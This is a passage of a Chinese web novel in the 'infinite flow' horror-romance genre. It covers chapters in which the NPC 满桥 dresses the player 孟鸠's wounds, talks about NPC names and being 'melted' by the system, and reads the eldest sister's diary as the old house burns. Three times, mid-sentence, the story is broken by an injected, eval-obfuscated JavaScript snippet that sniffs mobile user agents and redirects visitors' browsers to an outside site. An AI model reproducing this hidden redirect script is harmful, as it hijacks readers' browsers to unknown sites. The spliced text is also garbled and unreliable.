我只是不想他来打扰,见他进门顺手把这家伙甩出去几米而已。 阿良的小触手晃得更频繁了。 满桥没注意阿良的心虚,只是觉得奇怪。 脑子里过了一遍新丧副本的流程,满桥实在没想到这个节骨眼上有什么环节是能让玩家被伤成这样的。 况且,新丧这个副本对玩家挺友好的—— 反正,新丧从来不折磨玩家,都是一下子就死了。 非常快速爽朗的死亡,哪像有的副本,还非得把人弄得一团乱麻才肯收割生命。 所以孟鸠到底是怎么变成这样的。 钻出密室,满桥仔细检查了孟鸠身上,虽然失血量很大,但大多不是致命伤。 从散乱的伤口判断,攻击孟鸠的人应该不是什么练家子,不然也不至于弄出这么混乱又不能真的使人毙命的伤痕。 ……这样放着会死吧? 满桥比划了一下孟鸠的身高。 ……这得搬到床上包扎一下吧,能搬动吗? 满桥很有尝试精神。 在尝试后差点被孟鸠的体重带的人仰马翻。 平常可以被孟鸠轻而易举拎起来,满桥没想到自己和这位“弟弟”的力量差距会这么大。 满桥小声嘟囔:“……怎么这么重?” 眼前青年看着很瘦,肩宽腰细,满桥掀开孟鸠的上衣,果不其然看到漂亮的肌肉线条,宛如古希腊人体雕塑的腹肌。 孟鸠腹部鲜血淋漓,乍一看几乎找不出哪里才是伤口,但这不仅没有削弱他身体的美感,反而衬托的腹肌线条更加明显。 甚至还带着一种说不清道不明的色情。 满桥:“……实心的。” 指腹压了压孟鸠的肌肉,没用力的腹肌略有弹性,手感还不错。 手感不错也没用。 满桥擦掉自己指腹的血迹,沉默。 自己是搬不动了,估计得靠…… 阿良:‘不救。’ 满桥:“……阿良这么讨厌他?” 阿良闹别扭,先别过身体沉默几秒,但很快还是乖乖回答满桥的话: ‘对满桥,不尊重。’ 不尊重? 满桥以为阿良讨厌孟鸠的原因会是吃醋,虽然没见他吃顾淼的醋那么厉害。 最大的原因竟然是这小子不尊重自己? ……有吗? 这小子就是…… 一见面就调戏自己,抱着自己手舔,乱七八糟的话都往外说,还敢直接挑衅自己…… 满桥:。 死孩子。 一米八五的青年安详躺在地面,满桥找准伤口,试探性地戳了一下。 当事人没有醒来,但发出闷哼。 满桥:“……反倒是睡着的时候诚恳一些。” 如果醒着,恐怕孟鸠嘴里早就冒出一些乱七八糟的话。 满桥:“再怎么说也不能让他死了,阿良,把他搬到床上去。” 阿良不愿意,试图撒娇避免这项任务。 满桥:“阿良……我搬不动。” 有点示弱的意思,满桥的小指勾起一缕阿良的触手。 “你也不舍的我受累,对吧?” 触手肉眼可见陷入羞涩,它不好意思地卷住满桥的指尖,一边摩挲一边扭动。 玩家是很讨厌。 可是满桥需要我诶。 阿良催动身体。 满桥手上抓着那本大姐留下的笔记,5月3日的内容还没来记得看。 天色已经暗了下来,被火烧了半边的老宅没有一点灯火,萧条昏暗的吓人。 点灯,大姐的屋子亮起不怎么实用的光源,满桥捡起孟鸠刚刚晕倒落在门口的手电筒,这东西比煤油灯亮太多,满桥干脆举着手电筒打量床上的人。 阿良不愿意和孟鸠多接触一秒,在把人撂上床后就缠回满桥腰间。 其实孟鸠长得蛮帅气的。 这人一贯用吊儿郎当的表情,但没人会把他当作真纨绔。 孟鸠的笑和冷脸都突如其来,只会叫人感到他的喜怒无常。 摸不清路数的敌人才最可怕,孟鸠就属于这一类。 眼尾上调,两只虎牙,配上他平时得心应手的伪装,叫人很难看出—— 满桥的手指擦过孟鸠的侧脸。 ……居然,长得还挺显小。 像十几岁似的。 ……等等。 满桥的手停住了。 不会真的十几岁吧。 脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594389|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海中闪过自己和孟鸠的无数个暧昧互动,满桥猛然心虚。 等等。 满桥的动作都迟疑了。 这不会真是个十几岁的…… “嫂子。” 满桥指尖一颤。 孟鸠晕的突然,醒的也很突然,满桥都没来得及给人包扎,躺在床上挺尸的人就忽然咬住了他的指尖。 满桥很难说完全没被吓到,“……做什么,故意吓我?” 孟鸠缓慢眨眨眼。 “你吓到了?” 满桥:“闭嘴,不对,张嘴。” 他手指还在孟鸠嘴里呢。 孟鸠笑了,满桥感觉湿热柔软的东西顶住了他的指腹,很快摩挲一下。 满桥:“……张、嘴。” 阿良沉默,蠢蠢欲动。 孟鸠:“……嫂子。” 他松嘴了,满桥猛的抽回自己的手指,阿良迅速扯来一张纸给满桥擦拭。 孟鸠看着这幅有样子,声音有点委屈:“你也不疼疼我。” 满桥:“……犯什么病。” 伸手拿过药物和绷带,满桥扯开孟鸠的衣服。 比起刚刚的匆忙,满桥现在倒有机会仔细看看这人。 孟鸠的身材比满桥预想的还扎实,靠近下半身的肌肉爆出两根不突兀的青筋,延伸到满桥看不到的地方。 鲜血铺在肌肉上,勾勒的孟鸠这具身体线条分明,满桥再次伸手戳了一下孟鸠的小腹。 硬的。 满桥看向孟鸠,这位玩世不恭的玩家毫不畏惧地对上满桥的视线。 就好像——刚刚不是他在被戳的时候收紧了肚子。 满桥偷偷勾起嘴角。 孟鸠又开始犯贱:“嫂子,你摸摸看吧,我练的很好的。” 满桥:“……一会不说话能憋死你? 孟鸠:“真的很好,我……呃!” 忙着耍嘴皮的人,在那只纤细白皙到像古画的手落下时有一瞬间的空白。 一缕红发恰到好处掉下来,掉到孟鸠胸口,擦过孟鸠的伤口。 比起疼,更痒。 发丝没有章法,擦着孟鸠伤口的边缘,一上一下,心跳霎时混乱。 满桥没有摸他的肌肉。 满桥摸的是孟鸠的耳朵。 距离被缩小到很窄的地步,孟鸠直视满桥的眼睛。 ……金色。 孟鸠慢半拍眨眼,然后几乎狼狈地错开满桥的视线。 ……耳朵? 耳垂被指腹碾过,温度迅速升起。 怎么是,耳朵? 身侧呼吸一深一浅,钻进耳道,覆盖耳廓。 不是说摸…… 好香。 注意力全部溃散,香气拼了命钻进孟鸠鼻子。 满桥的香味和满桥此人一样。 孟鸠几乎是晕头转向地想。 看似温良。 其实霸道的很。 闻见这个,还闻得见其他什么。 以为满桥是没攻击力的美人。 谁知道人家动动手指自己都受不了。 满桥很快让孟鸠知道,他不动手指也可以让孟鸠受不了。 “呃——咳咳!” 孟鸠努力收回差点发出的闷哼。 气流。 满桥往自己耳朵里吹气! “练的很好?” 满桥轻声重复。 孟鸠陪笑:“……嫂子,我……等……” ……再吹气要受不了了。 孟鸠猛的屈膝,喉结上下滚动。 偏这时候听到满桥的笑。 笑声带着发丝晃动,伤口好痒。 “好了。” 满桥起身,孟鸠的眼睛跟着满桥锁骨移动。 “小九,松手,我要给你上药。” 孟鸠:“……嗯?” 一副被迷晕了的样子,完全没意识到自己手上不知何时抓到满桥的衣角。 满桥笑的更漂亮。 一个脑瓜崩。 满桥:“小九……这么喜欢嫂子的衣服吗?” 香气馥郁。 “还是说……” 满桥歪头。 “你其实……是想摸摸我?” 22.新丧(21) 气氛太暧昧,满桥从乱七八糟的孟鸠手中抽回自己的衣服,“这就傻了?” 孟鸠:…… 一败涂地。 连眼睛都不知道往哪放。 满桥上下打量孟鸠,“……今年多大了?” 孟鸠:“嗯?” 满桥:“……算了,当我……” 孟鸠回答的比满桥的话更快:“21,嫂子,可年轻了。” 满桥:…… 幸好只是长得显嫩。 “说说吧,怎么把自己弄成这样的?” 满桥这时候又好像变回了温和的家长。 但玩家脑子里还惦记着满桥问孟鸠是不是想摸自己。 这么暧昧的问题被轻飘飘揭过,孟鸠却没办法像满桥那样漫不经心。 语言是有联想的魔力的,一个挑拨的问话,孟鸠的思路早就滑坡出十万八千里。 “……我……嘶。” 药粉撒在孟鸠的伤口上,疼痛召回某人已经想入非非的理智。 满桥:“我怎么不知道我们家还有对九少爷这么凶恶的人呢。” 孟鸠:“……嫂子,你欺负我。” 这位玩家终于想起来自己来找满桥是要做什么。 孟鸠得寸进尺:“我在家里哪有地位啊。” 满桥不说话,手上的动作不停。 其实满桥上药的动作称得上十分温柔,甚至连拨开孟鸠的衣料都是缓慢的。 但这反而让人不适应。 孟鸠想不起来自己上一次被这么小心翼翼对待是什么时候。 也可能从没有被被人这样轻柔地对待过。 满桥嘴上是不饶人的,孟鸠多少从这位红发美人嘴里听出点阴阳怪气。 但手上的动作又不能骗人。 好温柔。 孟鸠的睫毛颤了颤。 满桥:“继续啊,怎么不演了?” 孟鸠:“……没人心疼,还演什么。” 满桥好像听到什么好笑的事。 “我不是在疼你吗?” 孟鸠:“……是。” 孟鸠喉结上下滚动一下。 “嫂子,既然你疼我,再多问问我吧。” ……这是在向自己求爱? 满桥的指尖一顿。 孟鸠趁着满桥愣神的瞬间,抓住了满桥的手腕。 伶仃的手腕,能轻而易举被孟鸠包住,空间还绰绰有余。 孟鸠:“多问问我。” 以床为半径,半米空间内升起昏暗的阴影,阿良似乎终于到了忍耐的极限,如果不是满桥还坐在孟鸠身边,恐怕这位玩家已经要被BOSS吞没了。 满桥目光从孟鸠身上挪开,多少有点心虚。 今天让阿良吃醋的时候是有些多了,晚上他会努力给阿良补偿的。 “阿良,不气。” 满桥伸出另一只手,触手顺着白皙的皮肤火速攀升,带着未平息的怒火和委屈紧紧缠住满桥。 ‘他,坏人。’ 满桥:“他是坏人,阿良是好宝宝。” 异常好哄的阿良沉默几秒,对这个评判还算满意。 但这位怪物还有不能释怀的事。 他凑近满桥的面颊,‘脏了。’ 满桥:? 满桥低头。 刚刚落在孟鸠伤口的那一缕红发,发尾有些许不仔细看分不出的血迹。 满桥:“……没事。” 他推开阿良递过来的毛巾,直接拿起剪刀。 血迹不好清理,不如剪了方便。 “嫂子。” 刚刚出人意料一直保持沉默的孟鸠开口,声音稍微有点沙哑。 满桥:“说。” 孟鸠:“头发,能给我吗?” 满桥:“……嗯?” 他还以为这家伙刚刚不说话是转性了,不显得没事招惹BOSS了。 原来没有。 顶着阿良的死亡凝视,孟鸠显得特别可怜。 “嫂子,都沾到我的血了,给我吧。” 他的手一直没有松开满桥的手腕,现在更是装可怜似的用拇指摩挲满桥的手背。 孟鸠:“不是说疼我吗?” 满桥:“……” 气氛有点紧张,场上的两个人似乎都等着满桥的审判。 满桥发现自己真是格外容易陷入这种处境,两个混蛋都眼巴巴看着,盯着自己跟盯着一块可望而不可即的小蛋糕一样虔诚。 都希望得到偏爱,都希望自己这双金色的眼睛能多看他们一眼。 一个玩世不恭的玩家,一个底细不明的副本BOSS,居然在这间昏暗的屋子中都十分楚楚可怜,甚至摆出了“恨明月高悬不独照我”的气势。 满桥手上拿着他刚剪下来的红发。 “……想要?” 孟鸠:“想要。” 满桥歪头。 “那就看你表现了,小九。” 满桥反手抓住孟鸠的手指,在孟鸠的指节上敲了敲。 “说说吧,你到底是怎么了。” 满桥和孟鸠的谈话终于进入正轨,隔壁玩家却依然在效率低下的争吵之中。 中钰和孟鸠早就决定各自为营,剩下的四位玩家各怀小心思,但又胆子小的不敢擅自行动。 阿良每隔半小时分出一点意识去探查一下玩家的情况,每次去探查都能看到这群人还在互相扯皮,以至于阿良甚至开始怀疑满桥的话。 满桥说这群玩家最迟明天一定会烧了老宅,但目前看这群人哪有这个魄力。 但满桥总是对的。 某位满桥全肯定怪物收回自己的心思,他对满桥和孟鸠的谈话不感兴趣,于是干脆将自己的意识铺满整个老宅。 奇怪。 他是这个副本的BOSS,这样地板式搜索都没找到大姐在哪。 那这位NPC,到底去哪了呢? = “你去招惹北安和兰花了?” 孟鸠的伤口已经止血了,但唇色还是有些苍白。 “不是我去招惹她们,她们也没打算放过我啊。” 满桥:“等等,你等等。” 这是什么发展。 满桥斟酌了一下用词:“你的意思是,你去挑衅她们,结果被打成这样……” 孟鸠:“不是挑衅,什么叫挑衅,我是去沟通,而且她们使坏,不然我不至于……” 满桥:“你上赶着找她们干什么?” 满桥实在想不通现在副本的进展和两个小姑娘有什么关系。 孟鸠:“我打听一点事嘛。” 满桥:“打听?你——” 孟鸠忽然抓紧了满桥的手腕。 “嫂子。” 那双狼一样的眼神又盯紧了满桥。 “卑荌和二花是谁?” 满桥:“……” 满桥有点惊讶。 他知道孟鸠远比他看起来的模样能干,但满桥没想到孟鸠居然会发现这两个名字。 “你从哪知道的这两个名字?” 孟鸠:“大姐。” 满桥:“你见到大姐了?” 孟鸠:“没有,但我找到了这个。” 一本婚书。 满桥没看到孟鸠从哪里掏出来一本陈旧的婚书。 孟鸠:“卑荌和二花是大姐的陪嫁丫头。” 满桥微微长大眼睛。 “……这件事怎么会在婚书上……” 孟鸠:“是大姐自己写上去的。” 脑袋好像被轻轻敲了一下,满桥猛的想起大姐留在密室中那本伪造的日记。 大姐其实是没有写日记习惯的,事实上,副本中的所有NPC都没有写日记的习惯。 所有人的日记都是副本自带的,最大的用处是给玩家提供线索。 NPC又不是说书先生,当然不会每天坐在沙发上就开始讲自己的故事,况且就算NPC想这样做,副本也不会给玩家这么白给的线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597504|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索。 这时候有本日记就很重要了。 满桥:“……她记得。” 孟鸠:“什么?” 满桥没心思理孟鸠。 一些细节闪过脑海,小殓仪式装聋作哑看自己给孟鸠提供线索的大姐、早晨的肉包子比往日要更清淡一点的口味、躲钉仪式上大姐问自己怎么总是照顾小姑娘…… 孟鸠撑着身体坐起来,“嫂子。” 他伸手,拨开满桥盖在眼睛上的头发。 “嫂子,卑荌和二花就会北安和兰花,这名字是你给她们改的,大姐本来应该不知道这件事。” 孟鸠的声音沉下来:“我想知道……这两个名字到底是怎么来的。” 满桥有点出神:“……名字?” 孟鸠:“名字——意味着什么?” = “意味着我就不是个家里受喜欢的!” 二花拿袖子擦眼泪,但怎么都擦不干净。 “卑荌,你说我们的命怎么就这样,生下来就随便起个名,卖给老爷,再卖给姑爷!” “别哭了,二花,别哭。” 卑荌小声安慰,“我们,我们不就是这样的命吗?” 奇怪。 卑荌的脑子好像生了锈的机器。 卑荌和二花,从小被卖给老爷,再跟着大小姐被卖给姑爷。 是这样吧? 卑荌努力眨眨眼。 “二花,别哭了,别哭了。” 二花甩开卑荌的手:“我现在哭都不能吗——” “掉金豆豆呢?” 卑荌和二花被这声突如其来的询问打断了情绪,她们顺着声音看去。 “……满老师?” 两个小姑娘都红着眼眶,看到满桥时有些局促。 卑荌率先开口:“对不起满老师……我们不是要躲懒……” 那时候满桥穿了一件白色暗纹的褂子,伸手摸了摸两个小姑娘的脑袋。 “掉金豆豆又不丢人。” 满桥是笑着的。 “受委屈了?” 卑荌和二花呆呆看着满桥,被一手一个牵走。 卑荌和二花的记忆告诉她们,这是她们第二次见家中这位长子夫人,上次见面,也只是打了个照面。 可是这位大嫂这么美丽,这么温柔。 二花:“……我们跟大小姐回来,家里都说大小姐闲话,我们也不受待见。” 满桥:“欺负你俩了?” 卑荌:“没,没有……” 满桥的手不热,但却让人安心。 或许是因为满桥的身份原因,也可能只是和满桥周身的气质相关。 满桥没有给卑荌和二花带来任何她们印象中属于男性的侵略气质,反而像一位母亲。 满桥:“叫什么名字,到我屋子来喝口酸梅汤吧。” 卑荌和二花本就因为被发现哭泣而羞愧,听到这个问题都齐齐低下头。 “我们,我们……” 满桥:“怎么了?” 卑荌:“我们的名字不好听……” 满桥笑了。 他的摸了摸卑荌和二花的头。 “多大了?” 蚊子似的,两个姑娘齐声说十九。 满桥:“那就是不小了。” 那时的满桥眼睛里有卑荌和二花无法理解的紧迫。 满桥:“……你们都长大了,早不是没有能力反抗被起什么名字的孩子了,早就可以为自己做主,不被困在曾经。” 那声音温和又有魔力。 “不喜欢这个名字,难道还不能改吗?” 满桥:“你们不是小孩了,你们是有能力的……不喜欢别人轻视你们,就得先看得起自己呀。” 现实和过往有一瞬间重合,满桥抓着孟鸠的手,几乎头晕目眩。 “……要救你们…… 满桥的声音有些沙哑。 “谁能救你们……只有……先想着救自己啊……” 23.新丧(22) “满桥。” 孟鸠将满桥的手放在唇边。 “满桥,嫂子——醒!” 满桥:! 孟鸠细细观察了满桥,见满桥缓过神了又挂上笑容:“……嫂子,怎么自己神游天外去了?” 满桥:“……贫嘴。” 孟鸠:“你还没回答我问题呢。” 满桥:“……” 他深吸一口气。 “什么问题?” 孟鸠:“名字,名字到底意味着什么。” 满桥:“名字?” 满桥歪头笑了。 “……浅了说,名字什么也不算,深了说,名字不就是你是谁吗——你要是觉得自己是什么卑贱的小草,路边的野花,那谁也救不了你。” 孟鸠:“名字不会变?” 满桥:“名字怎么不会变,难道你长大了,自己懂事了,人格还一点都不变?” 孟鸠挑眉。 所以名字是NPC们重要的身份象征。 变了名字,对NPC的意味可没有那么简单。 孟鸠:“北安和兰花,是你给她们的名字?” 满桥:“……你刚出生的时候,算命先生给你取个意味好的名字,但这名字到底是什么东西,不还是靠你自己活出来吗?” 所以这名字的确是满桥给两个姑娘换的,只是换了名字之后的事就不归满桥管。 孟鸠很快整理思路。 如果是这样,满桥一定有什么不得不给北安和兰花改名字的理由。 孟鸠:“……你,会死吗?” 原本还算轻快的氛围陡然一窒。 阿良本来在全副本找人,远远的感应到这句话,飞一般收回了心神。 满桥提前预判了阿良的攻击,伸手抓住差点扇出去的触手。 “……阿良。” 阿良:‘……’ 阿良:‘他,该死。’ 这是阿良第一次说出这么严重的警告。 阿良始终不喜欢孟鸠,很大的原因是认为这家伙不尊重满桥,嘴上没把门。 但这在生死这个话题面前这都是小事。 满桥感觉到了,阿良对这个话题有严重的PTSD。 满桥:“阿良,去别的地方玩一会吧。” 阿良:‘他,该死。’ 屋内气压很低,阿良几乎把杀意摆在明面上,孟鸠不可能没有感觉到。 但他反而笑着,撑着脑袋,眼睛里却一点轻松也没有。 孟鸠:“……你怎么也会死呢?” 黑影暴起,满桥险些没按住阿良。 满桥:“……小九,你迟早要为这张嘴吃亏的。” 孟鸠好像愣住:“……我?” 满桥:“祸从口出,怎么这个道理也不明白?” 孟鸠微妙的沉默。 他怎么会不知道这个道理呢。 他只是不在乎罢了。 这世界上的人,监守自盗,虚伪薄情,相比之下他只是嘴巴动的潇洒,难道这也不行? 更何况,孟鸠又不在乎自己什么时候死了。 似乎也没人在乎他死不死的,所以人人都说他嘴贱人也贱,但没人说过,祸从口出,小心吃亏。 天气不热,甚至可以说得上冷,人的体感温度很低。 满桥的衣服无法御寒,是阿良一直缠着满桥才让他的体温不至于流失,孟鸠就没那么好命了,失血过多加上身上的衣物不厚,他手脚都凉透了。 满桥看着窗外,不知道在想什么,所有人都保持沉默,直到满桥发出轻轻的叹气。 “……你也有冷的时候。” 一件大衣披在孟鸠身上。 阿良说孟鸠不尊重满桥,嘴里的话越来越过分,所以才不喜欢孟鸠。 但满桥其实不这样觉得。 孟鸠这样的人,与其说他不尊重谁,倒不如说这人根本不尊重自己。 他并非真的不知道什么话是冒犯。 他是故意的。 这人在寻找自己最熟悉的相处模式。 人就是这样奇怪的生物,或许最讨厌自己被过去养成现在这样,却被本能拉扯着一次又一次撕开自己最熟悉的伤口。 人这种生物,不熟悉的未知是比痛苦更难接受的。 “你生怕我们没有关系,所以提前激怒我,想把我们之间的所有关系都打碎。” 满桥好像在说一件平常的事,孟鸠却好像被施了定身咒,想张口反驳,又在话说出口前被满桥温暖的手制止。 满桥的手太细腻温柔了,是穷苦人家没见过的暖玉,手指压在孟鸠的眉心,轻轻揉。 轻轻揉的孟鸠脑子都乱掉。 “如果不想失望,就要避免所有可能来的喜悦。” 满桥很平静,显得孟鸠像个没长大的小孩。 满桥:“如果你真的不动心,这样的手段勉强算得上合格。” 孟鸠:“我……” 满桥微微弯身,他的眼睛和孟鸠的眼睛因此离得很近,孟鸠这双像狼一样的眼睛,猛然显得慌乱。 满桥:“可是,小九,你在说我死的时候……一点也不伤心吗?” 像一盏风铃遇狂风大作,在孟鸠心里晃得吓人。 满桥一直知道自己是很美的。 而且是乍看没有什么攻击力,几乎雌性莫辨的美。 满桥对自己这张脸说不上感觉,或许是满意的,这张脸的确为自己带来不少好处。 但或许也是烦恼的。 色欲熏心的人像蚂蚁一样聚在脚边,如果自己没点本事,大概现在更会是某个不可明说平台的小说主角。 但这种经历也让满桥格外能分辨身边的人到底存着什么心思。 就比如孟鸠,这人虽然一见面就摆出流氓样子,但眼睛里却没有令人做呕的东西流动。 他的手被孟鸠攥紧了,这一刻的力度好像孟鸠打算当场捏碎满桥的手骨似的。 满桥:“……疼。” 孟鸠如梦初醒。 他松了些力度,但死活不肯彻底松开满桥。 这位玩家试图摆出一点自己往日玩世不恭的样子,但只笑出来一个四不像:“嫂子,你说的我好伤心。” 满桥:“这次是真的伤心了。” 孟鸠的笑容就这样僵在脸上。 满桥垂下眼睛:“这次是真伤心了,说我死的话是你自己讲的,现在想转移话题的人也是你。” 孟鸠:“我不说了。” 满桥:“但你说的对,我的确是会死的。” 阿良显得非常焦躁,哪怕满桥安抚也不能平静下来。 孟鸠:“……不会的嫂子,你这么不一样。” 满桥歪头:“哪里不一样?” 孟鸠口不择言,将自己对副本的猜测和注解全盘托出:“玩家信了规矩会被规矩同化,你们不也一样吗?在这同化就是一种彻底的死亡,和副本重启可不一样。” 孟鸠抓紧满桥的手腕,“你不是因为北安和兰花要相信了这里的一切,才给她们改名?你给她们换个名字,是为了她们能清醒一些,不要葬送在这里,不是吗?” 满桥:“你什么都知道了,还问我干什么?” 孟鸠:“所以你不会死啊,你明明知道这里是什么地方,你明明和他们都不一样——” 孟鸠的话中断在满桥笼着雾气的笑。 “小九比我想的聪明。” 满桥:“但你怎么知道我就是清醒的?” 满桥的缓慢又不可抗拒地从孟鸠手中抽回自己的手腕。 “我也同样不记得我到底是谁。” 人们说不清灵魂是什么,大部分时候,人们依靠记忆确认自己的人格。 满桥:“你应该已经知道了这里的生存法则, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604756|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某种意义上来说,这的确是个非常尊重个体意志的地方。” 螺旋依靠篡改NPC的意识完成副本的构造,同样依靠NPC的意识完成副本的通关和对玩家的绞杀。 被NPC主观觉得奇怪会死亡,达成NPC主观的愿望是通关条件。 这意味着很多时候,哪怕满桥想要帮帮玩家也不行。 阿良是新的副本BOSS,它理智上知道自己扮演的是死人,但它不真的觉得自己死了,就没有“想要的葬礼”这么一说。 满桥沉下语气。 “小九,好好想一想,我是什么时候死的。” 孟鸠脱口而出:“你没死。” 满桥:“我当然死了。” 孟鸠的伤口已经包扎完毕,满桥不再和他对质,起身走到床边。 呼出的空气在窗户上蔓延出一个手掌大的白幕,“只有死人才会有想要的葬礼。” 满桥伸手抹掉水汽,冰冷的窗户外,夜色如水。 时间走过零点。 现在是孟老爷死了的第三天。 满桥:“我死了,才有人能继续活。” 阿良:‘满桥,他们,要烧了老宅。’ 孟鸠:“……对你们来说,在一个副本待的太久,一定会被同化?” 满桥:“同化这个词对我们来说不太贴切。” 披散的红发像一树火花。 “你或许应该用……融化。” 新丧是满桥经历重启次数第二多的副本。 第一多的副本? 那—— 是一个重要的契机。 让满桥意识到,螺旋设计的副本是针对NPC的一个巨大熔炉。 无论是多么清醒的NPC,长久处于炼丹炉内,都会有神志不清,融化为螺旋养料的时候。 满桥暂时没有这个倾向,但不觉得自己会一直是特别的人。 他之前没有听到过属于玩家的系统提示音,也不知道玩家的生活是否有离开螺旋的希望。 但他知道NPC没有这种盼头。 想要不被融化,只有在每一个副本中都尽量保持清醒,尽快切换副本。 在同一个熔炉中不断被灼烧,除了自己,满桥见过最坚强的NPC支撑了9次。 九次之后,再坚定的意识,也像沙子淹没在流沙中。 “活着未必是什么好事,但对于心中还有未尽之事的人而言,却是最珍贵的机会。” 他不是圣母,可他想要一直对自己好的家人,能有机会撕开缠着自己的束缚。 满桥从怀中掏出属于大姐的日记本,窗外,人声像逐渐烧开的一壶水,沸腾起来。 满桥:“5月3日。” 他的声音不紧不慢,属于大姐的笔记在阴冷的房间中落地。 “我依然觉得奇怪。” 满桥:“为什么我配不上好看的旗袍,为什么我是在夫家受尽折辱只好回家避难的长女。” “难道我没有自己的勇气和人格,难道我就永远只能是受害者,受了欺负只会哭泣和向下压迫比我更悲惨的人。” 纸页在老宅长久潮湿的空气中变软,散发出淡淡的霉味。 “难道我没有自己的名字,我只是老宅中的大姐。” 满桥停顿。 “为什么我只能这么想,为什么满桥反复拉着我,我还是只能这么想。” “我要点燃一场大火。” 温度在升高,窗外的暗色逐渐被热烈旺盛的火光吞没,像一簇一簇野杜鹃发了疯地攀爬蔓延,在寒冷和潮湿中浴血生长出一点血肉。 火焰距离大姐屋子还很远,却在幻觉中近在眼前。 “我要……” 满桥合上日记,将这本陈旧的笔记扔向孟鸠。 日记本中最后一句话和火焰蔓延的声音重合—— “我要,对得起烧死的满桥。”